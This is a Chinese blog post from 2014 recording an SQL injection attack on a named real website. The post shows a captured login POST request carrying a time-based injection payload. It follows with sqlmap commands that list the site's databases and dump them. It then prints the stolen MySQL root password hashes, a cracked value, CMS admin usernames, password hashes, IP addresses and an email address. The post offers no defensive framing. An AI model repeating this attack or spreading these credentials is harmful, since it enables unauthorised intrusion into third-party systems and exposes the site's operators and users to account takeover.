注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

c32's blog

每天学习一点点,每天进步一点点.

 
 
 
 
 

日志

 
 

sqlmap实战之四--之Post猪肉点  

2014-07-10 11:21:22|  分类: Sqlmap |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
目标站点
http://sj.jhnavi.com/
AWAS跑出post猪肉点一枚,包括以下post信息.
POST /login.aspx HTTP/1.1
Content-Length: 226
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sj.jhnavi.com/
Cookie: ASP.NET_SessionId=zevyfnuhg5nyvxzvh1mjmoeb
Host: sj.jhnavi.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

btn=1&txtpwd=1&txtuser=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&__VIEWSTATE=/wEPDwUJNDI4MzUzMTQxZGQKXEkLeZEmd3COFQ/eiSM0CRObgA%3d%3d
 直接把post信息保存为txt文件放到sqlmap下.
执行
sqlmap -r 2.txt --dbs
sqlmap实战之四--之Post猪肉点 - c32 - c32s blog
[*] bbs
[*] dedecmsv57utf8sp1
[*] information_schema
[*] jishigou
[*] mysql
[*] shop
 sqlmap -r 2.txt -D bbs --dump  拖库

 

mysql
%,root,*E8E1C5096D1D96799679D6E87EBCAA1ACE2B4500,<blank>,Y,Y,Y,Y,Y,<blank>,Y,N,Y,0,Y,Y,Y,<blank>,Y,Y,Y,Y,<blank>,Y,N,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y
localhost,root,*E8E1C5096D1D96799679D6E87EBCAA1ACE2B4500,<blank>,Y,Y,Y,Y,Y,<blank>,Y,Y,Y,0,Y,Y,Y,<blank>,Y,Y,Y,Y,<blank>,Y,Y,Y,0,Y,Y,0,Y,Y,Y,Y,Y,Y,Y,0,Y
MD5=987730

 dedecmsv57utf8sp1
id,typeid,userid,pwd,email,uname,tname,loginip,usertype,logintime
1,0,winson,36e53c5add5add2dd32d,<blank>,admin,<blank>,192.168.1.12,10,1338276078

mid,userid,sex,pwd,rank,matt,face,money,mtype,uname,email,uptime,scores,joinip,loginip,exptime,spacesta,jointime,logintime,checkmail,safeanswer,safequestion
1,winson,男,03adf36e53c5add5add2dd32d0f7dcc2,100,10,<blank>,0,个人,winson,<blank>,0,10000,<blank>,192.168.1.12,0,0,1338005401,1338276078,-1,<blank>,0

jishigou
zxcv219@126.com
03adf36e53c5add5add2dd32d0f7dcc2 
admin
b79603726a6ae6a
  评论这张
 
阅读(101)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017